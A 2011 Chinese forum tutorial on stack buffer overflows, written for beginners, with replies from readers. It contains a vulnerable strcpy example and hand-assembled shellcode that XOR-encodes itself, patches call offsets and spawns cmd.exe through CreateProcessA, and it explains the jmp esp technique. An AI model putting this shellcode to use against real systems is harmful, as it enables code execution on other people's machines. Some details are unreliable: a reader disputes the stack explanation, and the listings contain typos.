首页
社区
课程
招聘
7
[原创]缓冲区溢出攻击浅析,写给初学者
发表于: 2011-3-25 12:04 26453

[原创]缓冲区溢出攻击浅析,写给初学者

2011-3-25 12:04
26453

缓冲区溢出是一种非常普遍、非常危险的漏洞,在各种操作系统、应用软件中广泛存在。利用缓冲区溢出攻击,可以导致程序运行失败、系统当机、重新启动等后果。更为严重的是,可以利用它执行非授权指令,甚至可以取得系统特权,进而进行各种非法操作。缓冲区溢出攻击有多种英文名称:buffer overflow,buffer overrun,smash the stack,trash the stack,scribble the stack, mangle the stack, memory leak,overrun screw;它们指的都是同一种攻击手段。第一个缓冲区溢出攻击--Morris蠕虫,发生在十年前,它曾造成了全世界6000多台网络服务器瘫痪。

  一、 缓冲区溢出的原理

  通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其它指令,以达到攻击的目的。造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数。例如下面程序:

1
2
3
4
5
void function(char *str)
{
  char buffer[16];
 strcpy(buffer,str);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
[COLOR="Magenta"]Int Add(int x ,int y)[/COLOR]
{
Push    ebp;
mov     ebp,esp
sub     esp,44h
push    ebx
push    esi
push    edi
Lea     edi,[ebp-44h]
mov     ecx,11h
mov     eax,0xcccccccc
rep     eax,0cccccccch
[COLOR="magenta"]Int sum;[/COLOR]
[COLOR="magenta"]sum=x+y;[/COLOR]
mov     eax,dword ptr [ebp+8]
add     eax,dword prt [ebp+12]
mov     dword ptr[ebp-4],eax
[COLOR="magenta"]return sum;[/COLOR]
mov     eax,dword ptr [ebp-4]
}
pop     edi
pop     esi
pop     ebx
mov     esp,ebp
pop     ebp
ret
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
char *  retAddr;//global
int         gi;
void * getCode()
{
    char * codeStart, * codeEnd;
    int codeLen;
    void * code;
   _asm
   {
        mov codeStart, offset _startCode;
        mov codeEnd, offset _endCode;
   }
  codeLen = codeEnd - codeStart;
  code  = malloc(codeLen);
  memcpy(code, codeStart, codeLen);
  return code;
  //the following code never run.
_startCode:
    _asm   
        {      
         mov gi, 23;       
         jmp retAddr;  
        }
_endCode:  
  return;
}
void main()
{
  void * code;
  _asm mov retAddr, offset _retAddr;
  gi  = 12;
  printf("gi is %d\n", gi);
  code = getCode();
 
  _asm jmp code;
_retAddr:
  printf("gi is %d\n", gi);
  free(code);
}
1
2
3
4
5
6
7
8
9
_startCode:
 
    printf(“这是shell code 中的printf\n”);
    _asm{
        mov gi, 23;
        jmp retAddr;
    }
 
_endCode:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
for(int i=0;i<codeLen;i++)
    {
        if (temp[i]==0xE8)
        {
            temp=temp+i+1;
            ttp=(unsigned int *)temp;
            printf("\tttp=0x%x\n",*ttp);
            if (code<codeStart)
            {
                tempValue=codeStart-code;
                *ttp+=tempValue;
            }else{
                tempValue=code-codeStart;
                *ttp-=tempValue;
            }
            break;
        }
    }
1
2
3
4
5
6
for (int j=0;j<codeLen;j++)
    {  
        printf("source_code[%d]=0x%x\t",j,code[j]);
        [COLOR="red"]code[j]^=0x90;[/COLOR]
        printf("code[%d]=0x%x\n",j,code[j]);
    }
1
2
3
4
5
6
7
for (int j=0;j<len;j++)
    {
         
        //printf("sourccode[%d]=0x%x\t",j,tp[j]);
        [COLOR="Red"]tp[j]^=0x90;[/COLOR]
        //printf("code[%d]=0x%x\n",j,tp[j]);
    }
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
for (temp=0;temp<len;temp++)
        {
            if (tp[temp]==0xe8)[COLOR="red"]//寻找E8,再改地址[/COLOR]
            {
                printf("E8在temp=%d\n",temp);
                unsigned int *intP=(unsigned int *)(tp+temp+1);
                printf("以前的偏移量为:*intP=0x%x\n",*intP);
                printf("以前的地址为:k=0x%x\n",k);
                printf("现在的地址为:tp=0x%x\n",tp);
                if (addrs2>addrs1)
                {
                    unsigned int addr=addrs2-addrs1;[COLOR="red"]//原来是k-tp[/COLOR]
                    *intP-=addr;
                }
                else{
                    unsigned int addr2=addrs1-addrs2;[COLOR="red"]//原来是tp-k[/COLOR]
                    *intP+=addr2;
                }
                printf("intP=0x%x\n",intP);
                printf("*intP=0x%x\n",*intP);
                break;
            }
        }
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
mov  ppp,0x7c800000+0x2367;//先存入绝对地址
[COLOR="Red"]mov  eax,ppp;[/COLOR]                                                                  //暂存到eax中
[COLOR="Magenta"]sub  eax,(offset lab1);[/COLOR]                                                            //与下一个标号的地址进行相减,得到相对地址
[COLOR="Red"]mov  ppp,eax;  [/COLOR]            //再存到ppp指针中
push 0;         //传入第一个参数null
push p3;            //传入第二个参数,这是一个批向一个”cmd.exe”字串的指针
push 0;             //这是第三个参数 null
push 0;         //第四个参数:null
push 1;         //第五个参数:TRUE
push  CREATE_DEFAULT_ERROR_MODE;//这里用的是一个掩码,windows定义的
push  0;        //null
push  0;        //null
push  p1;       //si指针:*LPSTARTUPINFO
push  p2;       // ppiP指针:PPROCESS_INFORMATION
call  ppp;
lab1:add esp,40;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
_startCode:
    _asm
    {
[COLOR="Blue"]//=================10===================================
        /*            for
        ------PPROCESS_INFORMATION---------
        */
        call next3;/*5byte*/[/COLOR]
         
_proc_info:
        [COLOR="blue"]//1*4[/COLOR]
        nop;
        nop;
        nop;
        nop;
        [COLOR="blue"]//2*4[/COLOR]
        nop;
        nop;
        nop;
        nop;
        [COLOR="blue"]//3*4[/COLOR]
        nop;
        nop;
        nop;
        nop;
        [COLOR="blue"]//4*4[/COLOR]
        nop;
        nop;
        nop;
        nop;
 
next3:
        [COLOR="blue"]/*
        pop   eax;
        push  eax;
//相当于先弹到eax中,得到了第一个结构体的地址。再入栈就是最后一个参数的指针。
        */[/COLOR]
[COLOR="blue"]//==================9====================================
        /*           for
        ----------STARTUPINFO-------------
        */[/COLOR]
 
        call    next2[COLOR="blue"];/*5byte*/[/COLOR]
         
_start_info:
        [COLOR="blue"]//1*10[/COLOR]
        nop;
        nop;
        nop;
        nop;
        nop;
        nop;
        nop;
        nop;
        nop;
        nop;
        [COLOR="blue"]//2*10[/COLOR]
        nop;
        nop;
        nop;
        nop;
        nop;
        nop;
        nop;
        nop;
        nop;
        nop;
        [COLOR="blue"]//3*10[/COLOR]
        nop;
        nop;
        nop;
        nop;
        nop;
        nop;
        nop;
        nop;
        nop;
        nop;
        [COLOR="blue"]//4*10[/COLOR]
        nop;
        nop;
        nop;
        nop;
        nop;
        nop;
        nop;
        nop;
        nop;
        nop;   
        [COLOR="blue"]//5*10[/COLOR]
        nop;
        nop;
        nop;
        nop;
        nop;
        nop;
        nop;
        nop;
        nop;
        nop;
        [COLOR="blue"]//6*10[/COLOR]
        nop;
        nop;
        nop;
        nop;
        nop;
        nop;
        nop;
        nop;
        nop;
        nop;
        [COLOR="blue"]//6*10+8[/COLOR]
        nop;
        nop;
        nop;
        nop;
        nop;
        nop;
        nop;
        nop;   
 
next2:
        [COLOR="blue"]/*
        pop   eax;
        push  eax;
//相当于先弹到eax中,得到了第一个结构体的地址。再入栈就是倒数第二个参数的指针。
        */[/COLOR]
[COLOR="blue"]//==========8,7,6,5,4,3======================[/COLOR]
        push  0;
        push  0;
        push  CREATE_DEFAULT_ERROR_MODE;
        push 1;
        push 0;
        push 0;
[COLOR="blue"]//==============push cmd.exe=====2======================[/COLOR]
        call next1;
_cmd:   nop;//’c’
        nop;//’m’
        nop;//’d’
        nop;//’.’
        Nop;//’e’
        nop;//’x’
        nop;//’e’
        nop;//’\0’
next1:  pop eax;
        push eax;
[B][COLOR="Red"]/*
        本来想在这里直接改成我们想要的cmd.exe可是会出现访问违规的操作
。默认的代码段是不可以写的      
        mov [eax],'c';
        mov [eax+1],'m';
        mov [eax+2],'d';
        mov [eax+3],'.';
        mov [eax+4],'e';
        mov [eax+5],'x';
        mov [eax+6],'e';
*/[/COLOR][/B]
[COLOR="Blue"]//-=========-push 参数1==========1===================[/COLOR]
        push 0;
        mov  eax,0x7c800000+0x2367;
        call  eax;
        jmp retAddr;
    }
_endCode:
          一般来说要直接跳到我们的代码在的地方是不可能的。在windows上,不幸的是这个栈起始地址很低,0x00130000,所以无法保证没有00字节出现这个要求,而且多线程的特性,有使得这个值变化不定,更不可能事先计算出来。所以在windows中有了一个更加巧妙的办法。在程序中去找一个条指令叫:jmp esp的指令。若找到这么一条指令我们就可以把函数的返回地址写为这一第指令所在的地方。这样在执行完jmp esp的时候我们的程序就会又回到栈上来执行。而此时的执行地方刚好是retAddress的高一个单位(4字节)的地方处。只要我们在这里放上我们的代码就可以开始执行了。

  • 有一个调试器叫ollyDbg,有一个插件叫ollyUni,就有查找的功能。
  • 通过自己编写内存查找器可以很容易的实现指令的查找。

[招生]科锐逆向工程师培训(2025年3月11日实地,远程教学同时开班, 第52期)!

上传的附件:
收藏
免费 7
支持
分享
赞赏记录
参与人
雪币
留言
时间
Youlor
为你点赞~
2024-5-31 06:19
伟叔叔
为你点赞~
2024-3-25 01:47
心游尘世外
为你点赞~
2024-2-7 00:45
飘零丶
为你点赞~
2024-1-28 00:13
QinBeast
为你点赞~
2024-1-23 04:50
shinratensei
为你点赞~
2024-1-19 00:07
PLEBFE
为你点赞~
2023-3-10 03:57
最新回复 (129)
雪    币: 152
活跃值: (20)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
新手学习一下。。。
2011-3-25 12:50
0
雪    币: 365
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
写的真是太好了!
2011-3-25 15:28
0
雪    币: 122
活跃值: (46)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
4
呵呵,只是随便写写,不是啥高深的东西!见笑了
2011-3-25 17:11
0
雪    币: 232
活跃值: (105)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
5
好长啊。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。
2011-3-25 17:30
0
雪    币: 386
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
好啊。。。。。。。
2011-3-25 20:08
0
雪    币: 0
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
写得不错,不过这是最基本的吧
2011-3-25 23:58
0
雪    币: 122
活跃值: (46)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
8
不是基础就不是给初学的人啦
2011-3-26 10:19
0
雪    币: 473
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
路过路过,学习学习学习..........
2011-3-26 10:23
0
雪    币: 33
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
讲得挺好的。很详细啊。可惜没KX,下不了
2011-3-26 10:38
0
雪    币: 122
活跃值: (46)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
11
天天在线几个小时 就有了。
2011-3-26 11:18
0
雪    币: 0
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
希望还有后续的内容
2011-3-26 11:35
0
雪    币: 433
活跃值: (1885)
能力值: ( LV17,RANK:1820 )
在线值:
发帖
回帖
粉丝
13
不错的入门文章,排版不错!
2011-3-26 13:51
0
雪    币: 9
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
14
新人围观、、、
2011-3-26 13:56
0
雪    币: 74
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
15
LZ一步步的很详细,排版也很好,谢谢了。
2011-3-26 18:37
0
雪    币: 33
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
16
谢谢楼主的耐心讲解,
2011-3-26 18:45
0
雪    币: 411
活跃值: (376)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
17
收藏后细看,谢了
2011-3-26 18:55
0
雪    币: 122
活跃值: (46)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
18
以后看啦。有机会 还会写些的。
2011-3-27 16:41
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
19
讲解的非常详细~
2011-3-27 16:51
0
雪    币: 122
活跃值: (46)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
20
谢谢鼓励,只为大家入门
2011-3-27 17:47
0
雪    币: 122
活跃值: (46)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
21
不过好像没有人看啊。好像大家不做这一个方向
2011-3-28 23:05
0
雪    币: 437
活跃值: (130)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
22
看看。
2011-3-29 07:57
0
雪    币: 437
活跃值: (130)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
23
真怀疑你是不是抄来的,怕你这里有错。你再仔细看看代码,ebp+的是形参,ebp-的是局部变量。
2011-3-29 09:25
0
雪    币: 437
活跃值: (130)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
24
还有你那个图,我怎么记得高地址在下面呢?
2011-3-29 09:27
0
雪    币: 207
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
25
辛苦辛苦。好人。
2011-3-29 15:44
0
游客
登录 | 注册 方可回帖
返回

账号登录
验证码登录

忘记密码?
没有账号?立即免费注册